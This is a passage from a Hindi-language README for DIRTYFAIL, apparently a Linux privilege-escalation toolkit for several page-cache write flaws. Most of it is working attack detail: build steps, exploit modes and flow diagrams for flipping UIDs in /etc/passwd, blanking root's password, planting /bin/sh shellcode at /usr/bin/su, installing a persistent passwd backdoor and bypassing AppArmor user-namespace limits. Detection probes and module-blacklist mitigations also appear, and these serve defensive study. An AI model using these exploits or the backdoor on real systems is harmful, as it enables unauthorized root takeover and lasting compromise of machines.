K_A / K_B / K_C करें, पासों के बीच चेन्ड सिफरटेक्स्ट शिफ्ट लागू करते हुए
(जब splice A बाइट 4..11 को ओवरराइट करता है, तो splice B का
सिफरटेक्स्ट 6..13 पर `P_A[2..7]` से शुरू होता है; C के लिए भी B के विरुद्ध ऐसा ही)।
अंतिम PoC `/etc/passwd` की पंक्ति 1 को इस प्रकार बदलता है:```
root::0:0:GGGGG:/root:/bin/bash
— खाली पासवर्ड फ़ील्ड — और execlp("su", "-") फिर रूट शेल छोड़ देता है
क्योंकि pam_unix.so nullok खाली पासवर्ड स्वीकार करता है।
अपस्ट्रीम PoC के विरुद्ध तुलना और सत्यापन के लिए, V4bel का exp.c देखें: https://github.com/V4bel/dirtyfrag.
DIRTYFAIL एक एकल C बाइनरी है जो ~10 स्रोत मॉड्यूल से निर्मित है। उच्च-स्तरीय संरचना:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘
Per-CVE primitives (each has detect/exploit/exploit_inner functions):
┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘
**मुख्य डिज़ाइन निर्णय:**
- **बाहरी/आंतरिक विभाजन**: हर एक्सप्लॉइट कर्नेल के काम के लिए एक चाइल्ड फोर्क करता है। पैरेंट init नेमस्पेस में रहता है ताकि अंतिम `execlp("su", user)` REAL init-ns रूट तक पहुँचे। देखें [§8.5 आर्किटेक्चर](#85-architecture-outerinner-fork-based-bypass)।
- **पेज कैश वैश्विक है**: चाइल्ड अपने बायपास userns के अंदर से लिखता है, पैरेंट init ns से पढ़ता है; समान बाइट्स दिखाई देते हैं।
- **Env वेरिएबल पैरेंट → चाइल्ड स्टेट ले जाते हैं**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` आदि (बैकडोर)। `execv` स्टेज ट्रांज़िशन के दौरान environment को सुरक्षित रखता है।
- **रक्षात्मक साथी**: `--mitigate` वही ब्लैकलिस्ट्स + sysctl हार्डनिंग तैनात करता है जो डिस्ट्रोज़ आधिकारिक मिटिगेशन के रूप में भेजते हैं। `--scan` पता लगाता है जब caps LSM-ब्लॉक होते हैं और भ्रामक "VULNERABLE preconditions met" के बजाय "mitigated" रिपोर्ट करता है।
---
## 5. बिल्ड
### पूर्वापेक्षाएँ
* **Linux** (यह बाइनरी रनटाइम पर केवल Linux के लिए है)।
* `gcc` या `clang`, `make`।
* Linux UAPI हेडर — विशेष रूप से `<linux/xfrm.h>`, `<linux/netlink.h>`,
`<linux/rtnetlink.h>`, `<linux/if.h>`।
| डिस्ट्रो | इंस्टॉल |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu | `sudo apt install build-essential linux-libc-dev` |
| RHEL / CentOS | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora | `sudo dnf install gcc make kernel-headers` |
| Arch | `sudo pacman -S base-devel` |
### बिल्ड कमांड्स```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make # release build → ./dirtyfail
make debug # -O0 -g3 for gdb
make static # static link (musl-gcc recommended)
make clean
डिफ़ॉल्ट बिल्ड ./dirtyfail पर एक एकल ~80 KB बाइनरी उत्पन्न करता है।
पोर्टेबल बिल्ड के लिए जो किसी भी kernel-संगत Linux पर बिना
glibc निर्भरता drift के चलता है:```sh
make static CC=musl-gcc
(install `musl-tools` on Debian/Ubuntu, or build musl from source).
---
## 6. उपयोग
`./dirtyfail --help` प्रामाणिक संदर्भ है; मोड श्रेणी के अनुसार विभाजित हैं:
**पहचान (सुरक्षित; कोई सिस्टम संशोधन नहीं):**
| मोड | यह क्या करता है |
|---|---|
| `--scan` | सभी पाँच डिटेक्टर चलाएँ (डिफ़ॉल्ट मोड) |
| `--scan --active` | प्रति CVE एक sentinel-file STORE probe जोड़ें — पूर्व-शर्तें पूर्ण होने और वास्तव में शोषण-योग्य होने के बीच अंतर करता है |
| `--scan --json` | stdout पर एक एकल JSON ऑब्जेक्ट उत्सर्जित करें (SIEM-अनुकूल); लॉग stderr पर जाते हैं |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | केवल प्रति-CVE पहचान |
**शोषण (टाइप किए गए पुष्टिकरण द्वारा नियंत्रित; `/etc/passwd` पेज कैश को दूषित करता है):**
| मोड | यह क्या करता है |
|---|---|
| `--exploit-copyfail` | `algif_aead` 4-बाइट प्रिमिटिव के माध्यम से UID फ्लिप |
| `--exploit-esp` | xfrm-ESP v4 के माध्यम से UID फ्लिप (userns+CAP_NET_ADMIN चाहिए) |
| `--exploit-esp6` | xfrm-ESP v6 के माध्यम से UID फ्लिप |
| `--exploit-rxrpc` | rxkad fcrypt ब्रूट-फोर्स के माध्यम से रूट पासवर्ड फ़ील्ड खाली करें |
| `--exploit-gcm` | `rfc4106(gcm(aes))` सिंगल-बाइट प्रिमिटिव के माध्यम से UID फ्लिप |
| `--exploit-backdoor` | स्थायी (PERSISTENT): `dirtyfail::0:0:...:/:/bin/bash` डालें |
| `--exploit-su` | V4bel-शैली: `/usr/bin/su` एंट्री पॉइंट पर arch-विशिष्ट shellcode स्थापित करें। x86_64 का एंड-टू-एंड परीक्षण किया गया; aarch64 हार्डवेयर-अपरीक्षित रूप से भेजा जाता है (`DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` के पीछे गेटेड) |
**सफाई / स्थिति निरीक्षण:**
| मोड | यह क्या करता है |
|---|---|
| `--cleanup` | `/etc/passwd` को पेज कैश से बाहर निकालें (`fadvise` + `drop_caches` यदि root हो) |
| `--cleanup-backdoor` | स्टेट फ़ाइल से मूल `/etc/passwd` पंक्ति को पुनर्स्थापित करें |
| `--cleanup-su` | स्टेट फ़ाइल से `/usr/bin/su` एंट्री-पॉइंट बाइट्स पुनर्स्थापित करें |
| `--list-state` | बताएं कि वर्तमान में क्या (यदि कुछ भी) स्थापित है; साइड-इफ़ेक्ट-मुक्त |
**रक्षात्मक (root आवश्यक):**
| मोड | यह क्या करता है |
|---|---|
| `--mitigate` | `algif_aead`/`esp4`/`esp6`/`rxrpc` मॉड्यूल को ब्लैकलिस्ट करें; `apparmor_restrict_unprivileged_userns=1` सेट करें; drop_caches. दुष्प्रभाव: IPsec, AFS को तोड़ता है |
| `--cleanup-mitigate` | `--mitigate` द्वारा स्थापित modprobe/sysctl फ़ाइलों को हटाएँ |
**सामान्य विकल्प:**
| फ़्लैग | प्रभाव |
|---|---|
| `--no-shell` | सफल शोषण के बाद, `execve su` न करें — सत्यापित करें और पूर्ववत करें |
| `--no-revert` | `--no-shell` के साथ, ऑटो-रिवर्ट भी छोड़ें (container-escape डेमो द्वारा उपयोग किया जाता है) |
| `--active` | `--scan`/`--check-*` में सक्रिय sentinel-STORE प्रोब जोड़ें |
| `--json` | (`--scan` के साथ) मशीन-पठनीय आउटपुट उत्सर्जित करें |
| `--no-color` | ANSI रंग अक्षम करें |
| `--aa-bypass` | (केवल DEBUG) AppArmor unprivileged-userns बाईपास को बलपूर्वक लागू करें — शोषण यह आंतरिक रूप से करते हैं, §8.5 देखें |
### पहचान उदाहरण
सादा स्कैन (केवल पूर्व-शर्तें — तेज़, ~1s):```sh
./dirtyfail --scan
प्रति CVE सक्रिय सेंटिनल जांच (~10s, केवल /tmp सेंटिनल को संशोधित करता है):```sh
./dirtyfail --scan --active
SIEM/फ्लीट इन्जेशन के लिए JSON:```sh
$ ./dirtyfail --scan --active --json
{
"tool": "dirtyfail",
"version": "0.1.0",
"hostname": "server-01",
"kernel": "6.19.10-300.fc44.x86_64",
"machine": "x86_64",
"active_probes": true,
"results": [
{"cve": "CVE-2026-31431", "name": "copyfail", "status": "vulnerable"},
{"cve": "CVE-2026-43284", "name": "dirtyfrag-esp", "status": "vulnerable"},
{"cve": "CVE-2026-43284-v6", "name": "dirtyfrag-esp6", "status": "vulnerable"},
{"cve": "CVE-2026-43500", "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
{"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm", "status": "vulnerable"}
],
"summary": "vulnerable"
}
Status values: vulnerable, not_vulnerable, preconds_missing,
test_error. सारांश परिणामों में सबसे खराब स्थिति दर्शाता है।
./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)
प्रत्येक एक्सप्लॉइट `DIRTYFAIL` + (जहां लागू हो) के लिए प्रॉम्प्ट करता है
`YES_BREAK_SSH` किसी भी पेज-कैश संशोधन से पहले।
### स्थिति निरीक्षण + सफाई```sh
./dirtyfail --list-state # what's currently planted? (side-effect free)
./dirtyfail --cleanup # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su # restore /usr/bin/su from .dirtyfail-su.state
या सीधे कर्नेल में गिरें:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
---
## 7. DIRTYFAIL प्रत्येक CVE का पता कैसे लगाता है
### Copy Fail (सक्रिय सेंटिनल प्रोब)
पता लगाना वास्तव में `/tmp` में एक सेंटिनल फ़ाइल के विरुद्ध प्रिमिटिव को ट्रिगर करता है:
1. `socket(AF_ALG, SOCK_SEQPACKET, 0)` का प्रोब करें और `authencesn(hmac(sha256), cbc(aes))` से `bind` करें।
2. `/tmp` में 4 KiB की सेंटिनल फ़ाइल बनाएँ और उसके पहले पृष्ठ को कैश में फॉल्ट करें।
3. इसके विरुद्ध पूर्ण एक्सप्लॉइट प्रिमिटिव चलाएँ: `seqno_lo = "PWND"` के साथ `sendmsg` AAD, AF_ALG op सॉकेट में सेंटिनल के 32 बाइट्स splice करें, और scratch write को फायर करने के लिए `recv` चलाएँ।
4. सेंटिनल को पुनः पढ़ें और पहले पृष्ठ में कहीं भी `PWND` खोजें।
मार्कर मिला ⇒ संवेदनशील (vulnerable)। मार्कर अनुपस्थित लेकिन पृष्ठ सामग्री भिन्न ⇒ प्रिमिटिव आंशिक रूप से फायर हुआ (फिर भी संवेदनशील)। पृष्ठ समान ⇒ इस कर्नेल पर संवेदनशील नहीं।
### Dirty Frag xfrm-ESP (पूर्व-शर्त-आधारित — या `--active` के साथ सक्रिय)
डिफ़ॉल्ट `--scan` केवल पूर्व-शर्त-आधारित है — हम डिटेक्ट मोड में यूज़र नेमस्पेस में प्रवेश नहीं करते (इससे उस नेमस्पेस के अंदर नेटवर्किंग पर साइड-इफेक्ट होगा)। हम जाँचते हैं:
* कर्नेल संस्करण प्रभावित विंडो के भीतर है
* `esp4` / `esp6` वर्तमान में लोडेड या ऑटोलोडेबल है
* अनप्रिविलेज्ड यूज़र नेमस्पेस निर्माण सफल होता है (fork → चाइल्ड `unshare(CLONE_NEWUSER)` के माध्यम से प्रोब किया जाता है)
* AppArmor `apparmor_userns_caps_blocked()` false लौटाता है
चारों उपस्थित ⇒ VULNERABLE (पूर्व-शर्तें पूरी हुईं)।
`--scan --active` इसे सेंटिनल-STORE प्रोब के साथ विस्तारित करता है: हम एक चाइल्ड fork करते हैं जो AA बाइपास को आर्म करता है, एक नए user/net नेमस्पेस में प्रवेश करता है, एक XFRM SA पंजीकृत करता है, और `/tmp/dirtyfail-esp-probe.XXXXXX` सेंटिनल फ़ाइल के विरुद्ध ESP-in-UDP ट्रिगर को फायर करता है। पैरेंट सेंटिनल को पुनः पढ़ता है और मार्कर बाइट्स की तलाश करता है:
* मार्कर लैंड हुआ → कर्नेल STORE पहुंच योग्य है → **VULNERABLE**
* पृष्ठ बरकरार → कर्नेल पैच प्रभाव में है → **NOT VULNERABLE**
* AA बाइपास अस्वीकृत → **PRECOND_FAIL** (LSM-शमित)
बैकपोर्टेड-पैच कर्नेल को बिना पैच वाले से अलग करने का यह एकमात्र तरीका है, बिना `/etc/passwd` के विरुद्ध पूर्ण UID-flip एक्सप्लॉइट चलाए। यही पैटर्न `--active` के अंतर्गत ESP v6, RxRPC, और GCM के लिए उपयोग किया जाता है।
### Dirty Frag RxRPC (पूर्व-शर्त-आधारित — या `--active` के साथ सक्रिय)
पूर्व-शर्तें:
* `rxrpc` `/proc/modules` में या ऑटोलोडेबल है
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` सफल होता है
सक्रिय प्रोब (`--active`): AA बाइपास के माध्यम से fork करता है, एक मनमाने 8-बाइट मान के साथ rxrpc सत्र कुंजी पंजीकृत करता है, `/tmp` सेंटिनल के विरुद्ध एक CHALLENGE + DATA जालसाजी भेजता है, और spliced 8-बाइट विंडो के अंदर किसी भी बाइट परिवर्तन की तलाश करता है। हम यह अनुमान लगाने की कोशिश नहीं करते कि क्या लैंड हुआ — कोई भी संशोधन कर्नेल STORE के फायर होने की पुष्टि करता है।
### Copy Fail GCM वैरिएंट + ESP v6 — समान आकार
GCM वैरिएंट सक्रिय प्रोब एक मनमाने IV के साथ transport-mode SA स्थापित करता है और `/tmp` सेंटिनल के विरुद्ध `gcm_trigger` फायर करता है; sentinel[0] पर कोई भी बाइट परिवर्तन पहुंच की पुष्टि करता है। ESP v6 प्रोब प्रति कर्नेल बिल्ड `V6_STORE_SHIFT` को भी ऑटो-कैलिब्रेट करता है (`src/dirtyfrag_esp6.c` में `calibrate_v6_shift` देखें) — विभिन्न डिस्ट्रोज़ के `esp6_input` बिल्ड STORE को spliced क्षेत्र के अंदर थोड़े भिन्न ऑफसेट पर रखते हैं, और कैलिब्रेशन प्रोब वास्तविक एक्सप्लॉइट फायर होने से पहले सटीक ऑफसेट खोज लेता है।
---
## 8. DIRTYFAIL प्रत्येक CVE का शोषण कैसे करता है
### Copy Fail एक्सप्लॉइट (`copyfail.c`)
`algif_aead` के माध्यम से एकल 4-बाइट STORE:```
[/etc/passwd page cache]
user ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
──recv()─────────────────────▶ kernel runs authencesn_decrypt
scratch write: "0000" → uid_off
EBADMSG returned to user (we ignore)
user ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..." ◄─ page cache
user ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
─────► root shell
dirtyfrag_esp.c)कॉपी फेल के समान अंतिम स्थिति, जो algif_aead के बजाय xfrm_input के माध्यम से
प्राप्त होती है:```
[/etc/passwd page cache]
unshare(USER|NET); setup uid_map; ifup lo
NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel
udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP
udp_send connect 127.0.0.1:4500
vmsplice ESP wire header (24B) ─▶ pipe
splice /etc/passwd@uid_off (16B) ─▶ pipe
splice pipe (40B) ─▶ udp_send
udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input
skb has frags, no frag_list ─▶ goto skip_cow (THE BUG)
crypto_authenc_esn_decrypt:
scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE
AEAD auth fails (EBADMSG) — but the STORE is permanent
page-cache copy of /etc/passwd now reports uid 0 for the user
फिर नेमस्पेस से बाहर निकलें, पैरेंट से `execlp("su", user)` — कॉपी फेल जैसा ही अंतिम चरण।
### Dirty Frag RxRPC एक्सप्लॉइट (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
[/etc/passwd page cache]
user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
produces predicate-satisfying plaintexts for offsets 4, 6, 8
(chained-ciphertext correction across passes)
fork → child enters new userns:
unshare(USER|NET); setup uid_map; ifup lo
socket(AF_RXRPC) — autoload rxrpc.ko
for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
udp_srv = bind 127.0.0.1:port_S
rxsk = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
rxsk → sendmsg(PINGPING) triggers handshake init
udp_srv ← receives kernel's first DATA-0
extract (epoch, cid, callNumber)
udp_srv → forged CHALLENGE → rxsk auto-RESPONSE
primes conn->rxkad.cipher with K
csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
vmsplice DATA hdr (28B) → pipe
splice /etc/passwd@off (8B) → pipe
splice pipe (36B) → udp_srv
udp loopback → rxsk
recvmsg → rxrpc_input → rxkad_verify_packet
skb has frags, no frag_list → goto skip_unshare (THE BUG)
skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
crypto_skcipher_decrypt: pcbc(fcrypt)
page[off..off+8] = fcrypt_decrypt(C_actual, K) ◄─ 8-byte STORE
child exits, parent verifies /etc/passwd[4..5] == "::"
parent: execlp("su", "-")
PAM common-auth: pam_unix.so nullok → root has empty password
su → setresuid(0,0,0) → exec /bin/bash
─────► root shell
--exploit-su शेलकोड इंजेक्शन (exploit_su.c)V4bel के रेफरेंस एक्सप्लॉइट पर आधारित एक दूसरी /etc/passwd-मुक्त अटैक चेन
है। /etc/passwd के पेज कैश को संपादित करने के बजाय, हम
आर्किटेक्चर-विशिष्ट शेलकोड को /usr/bin/su के ELF एंट्री पॉइंट पर उसके
पेज कैश में रोपते हैं; अगली बार जब कोई /usr/bin/su निष्पादित (exec) करता है, कर्नेल
डिस्क पर मौजूद setuid बिट से euid=0 सेट करता है, डायनेमिक लिंकर
रिज़ॉल्व करता है, और नियंत्रण हमारे शेलकोड → /bin/sh को वास्तविक
init-ns रूट के रूप में स्थानांतरित हो जाता है। कोई PAM निर्भरता नहीं, pam_unix nullok
हटाने को पूरी तरह से बायपास करता है।```
parent (init ns)
│ stat /usr/bin/su; verify setuid+root
│ parse ELF header; resolve e_entry → file offset
│ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state
│ for each 4-byte chunk of shellcode:
│ cf_4byte_write("/usr/bin/su", file_offset+i, chunk)
│ pread() back; verify match
│ if --no-shell:
│ plant_shellcode(original) # revert via re-write
│ fadvise(DONTNEED) on a new fd # evict if possible
│ else:
│ execl("/usr/bin/su", "su", NULL) ─►
│ kernel exec /usr/bin/su (setuid root)
│ ld-linux.so resolves
│ jumps to e_entry → our shellcode
│ setuid(0); setgid(0);
│ execve("/bin/sh", argv, NULL)
▼ ────► root shell
आर्किटेक्चर मैट्रिक्स:
* **x86_64 (56 बाइट्स, 14 श्रृंखलाबद्ध 4-बाइट लेखन)** — परीक्षित
एंड-टू-एंड Fedora 44 पर (`uid=0(root) gid=0(root) ...
context=unconfined_u:unconfined_r:unconfined_t`)। शेलकोड
`shellcode_x86_64[]` में है।
* **aarch64 (80 बाइट्स, 20 निर्देश)** — हाथ से एन्कोडेड
ARMv8-A संदर्भ से, **हार्डवेयर पर कभी निष्पादित नहीं किया गया**। गेटेड
`DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` के पीछे। स्रोत
`tools/exploit_su_aarch64.S` में सामुदायिक सत्यापन हेतु — असेंबल
`aarch64-linux-gnu-as` के साथ करें और पुष्टि करें कि बाइट अनुक्रम मेल खाता है
`shellcode_aarch64[]` से।
* बाकी सब → preconds_fail.
स्टेट फ़ाइल `/var/tmp/.dirtyfail-su.state` मूल
एंट्री-पॉइंट बाइट्स संग्रहीत करती है ताकि `--cleanup-su` पुनर्स्थापित कर सके। `--list-state`
इस फ़ाइल (और बैकडोर की) का निरीक्षण करता है बिना कुछ छुए।
यदि सत्यापन चरण पाता है कि पेज कैश लगाए गए
शेलकोड से मेल नहीं खाता (कर्नल पैच किया गया है, AF_ALG ब्लैकलिस्टेड है, आदि), तो स्वतः-पुनर्स्थापना
तुरंत सक्रिय होती है और स्टेट फ़ाइल हटा दी जाती है — इसके बाद ऑपरेटर को
cleanup-su चलाने की आवश्यकता नहीं है।
---
## 8.5 आर्किटेक्चर: बाहरी/आंतरिक फोर्क-आधारित बाईपास
सभी पाँच शोषण मोड संभालने के लिए एक सामान्य आर्किटेक्चर साझा करते हैं
Ubuntu के `apparmor_restrict_unprivileged_userns=1` नीति को बिना
पोस्ट-एक्सप्लॉइट `su` को ऐसे userns में फँसाए जहाँ वह
वास्तविक init-ns रूट तक नहीं पहुँच सकता।
### समस्या
एक सरल बाईपास *पूरी* `dirtyfail` प्रक्रिया को एक नए
यूज़र नेमस्पेस में `unshare(CLONE_NEWUSER)` के ज़रिए डाल देता है। यह पंजीकृत करने के लिए पर्याप्त है
XFRM SA और स्प्लाइस ट्रिगर चलाना — लेकिन इसका मतलब यह भी है कि आगे चलकर
`execlp("su", user)` userns के अंदर चलता है, जहाँ uid 0 को इसके माध्यम से
`uid_map "0 1000 1"` ऑपरेटर के बाहरी uid (1000) पर मैप किया जाता है। PAM का
`setresuid(0)` फिर userns-uid-0-mapped-to-1000 पर पहुँचता है, जो
**नहीं** है वास्तविक init-ns रूट — `cat /etc/shadow` EACCES लौटाता है,
शेल वास्तव में विशेषाधिकार प्राप्त ऑपरेशन नहीं कर सकता।
### समाधान: बाहरी/आंतरिक विभाजन```
parent (dirtyfail, init ns) child (bypass userns)
───────────────────────── ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
execv self ─► STAGE-1
execv self ─► STAGE-2
unshare(USER|NET)
uid_map / capset
ifup lo
main() detects INNER_MODE
dispatch <mode>_inner()
register XFRM SA
splice trigger → page cache STORE
_exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
execlp("su", user) ← runs IN INIT NS
PAM auth → setresuid(0)
→ REAL init-ns root shell
else:
try_revert_passwd_page_cache
पैरेंट कभी भी user namespace में प्रवेश नहीं करता। चाइल्ड
bypass + kernel का कार्य करता है, वैश्विक page cache को संशोधित करता है (जो
namespace के बीच साझा है — केवल यही "bridge" हमें चाहिए), और बाहर निकल जाता है।
पैरेंट का su तब एक सामान्य init-namespace setresuid कॉल है।
execv वातावरण को संरक्षित रखता है, इसलिए parent फोर्किंग से पहले
ऑपरेशन पैरामीटरों को env vars में जमा कर देता है। प्रत्येक mode
अपने स्वयं के env vars परिभाषित करता है:
| Mode | Env vars |
|---|---|
esp / esp6 / gcm | DIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER |
rxrpc | DIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — fcrypt brute force parent में होता है (किसी caps की आवश्यकता नहीं); वास्तविक triggers के लिए कुंजियाँ child को दी जाती हैं |
backdoor-install / backdoor-cleanup | DIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE |
बाईपास का stage 2 पूरा होने के बाद, main() DIRTYFAIL_INNER_MODE
की जाँच करता है और <mode>_exploit_inner() पर dispatch करता है।
inner केवल kernel का कार्य करता है (कोई prompts नहीं, कोई fork नहीं, कोई su नहीं)
और result code के साथ बाहर निकलता है। parent इसे waitpid के माध्यम से
reap करता है और सत्यापन के साथ आगे बढ़ता है।
पहले का दो-हॉप dance (change_onexec("crun") → change_onexec("chrome"))
हमारी exec chain में Ubuntu 24.04 पर आंतरायिक ENOSPC विफलताओं का
कारण बना (संभवतः प्रति-प्रोफ़ाइल userns-accounting की एक पेचीदगी)। crun में
एकल हॉप पर्याप्त है — crun के AppArmor प्रोफ़ाइल में flags=(unconfined)
और स्पष्ट userns, अनुमति है, इसलिए unshare सफल होता है
और सफल बना रहता है।
stage 2 सफलतापूर्वक पूरा होने के बाद, एक process-local
g_bypass_done फ्लैग सेट हो जाता है। यदि उसी प्रक्रिया में
apparmor_bypass_needed() फिर से कॉल किया जाता है, तो यह short-circuit होकर
false लौटाता है, जो post-exploit कोड को दोबारा सक्रिय होने और एक और userns
layer नेस्ट करने से रोकता है (जो पहले प्रति-userns nesting cap को ENOSPC के रूप में हिट करता था)।
--aa-bypass अब केवल डीबग फ्लैग हैपुराने आर्किटेक्चर में, --aa-bypass exploit dispatch से पहले एक
whole-process बाईपास को सक्रिय करता था। नए आर्किटेक्चर में, exploit modes
आंतरिक रूप से अपना खुद का fork-आधारित बाईपास करते हैं; सामान्य उपयोग के लिए
यह फ्लैग अब आवश्यक नहीं है। इसे बाईपास मैकेनिक्स को
अलगाव में डीबग करने के लिए बनाए रखा गया है (जैसे एक bypass userns के अंदर
--scan चलाना), जिसमें चेतावनी है कि यह post-exploit su को तोड़ सकता है।
a664bf3d; backports निम्न पर आ गए हैं:algif_aead को ब्लैकलिस्ट करें: ```sh
echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf
sudo rmmod algif_aead 2>/dev/null
⚠ नोट: यह Dirty Frag को नहीं कम करता। xfrm-ESP पथ उसी authencesn प्रिमिटिव तक पहुँचता है बिना algif_aead से गुज़रे।
f4c50a4034e6 (2026-05-07 को मर्ज किया गया)।
डिस्ट्रो बैकपोर्ट्स 2026-05-08 से रोल आउट हो रहे हैं।esp4 और esp6 को ब्लैकलिस्ट करें: ```sh
sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF'
install esp4 /bin/false
install esp6 /bin/false
EOF
sudo rmmod esp4 esp6 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ यह IPsec / strongSwan / libreswan VPNs को तोड़ता है। 3. गहराई में रक्षा: अविशेषाधिकृत उपयोगकर्ता नेमस्पेस की अनुमति न दें। उबंटू यह डिफ़ॉल्ट रूप से AppArmor के माध्यम से करता है; अन्य डिस्ट्रो पर: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0
### Dirty Frag RxRPC (CVE-2026-43500)
1. **अभी तक कोई अपस्ट्रीम पैच नहीं है।** शोधकर्ता का पैच lkml पर है; लिखे जाने के
समय (2026-05-08) तक मर्ज नहीं किया गया है।
2. **अंतरिम**: ब्लैकलिस्ट करें `rxrpc`: ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ यह AFS वितरित फ़ाइल सिस्टम क्लाइंट्स को तोड़ता है। अधिकांश सर्वरों को rxrpc की आवश्यकता नहीं होती है।
sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '
### या `dirtyfail --mitigate` का उपयोग करें
माइटिगेशन का वही सेट एक टाइप-पुष्टि-गेटेड
रक्षात्मक मोड में लपेटा गया है:```sh
sudo ./dirtyfail --mitigate
यह /etc/modprobe.d/dirtyfail-mitigations.conf और
/etc/sysctl.d/99-dirtyfail-mitigations.conf में डालता है, चारों
मॉड्यूल अनलोड करता है, और drop_caches करता है। sudo ./dirtyfail --cleanup-mitigate के माध्यम से वापसी होती है। दुष्प्रभाव: IPsec, AFS क्लाइंट्स, और
AF_ALG AEAD का उपयोग करने वाले किसी भी यूज़रस्पेस को तोड़ता है। पूर्ण
sysadmin प्लेबुक के लिए docs/DEFENDERS.md देखें।
पैचिंग से स्वतंत्र निरंतर पहचान के लिए:
dirtyfail --scan --active (पूर्ण sentinel-STORE
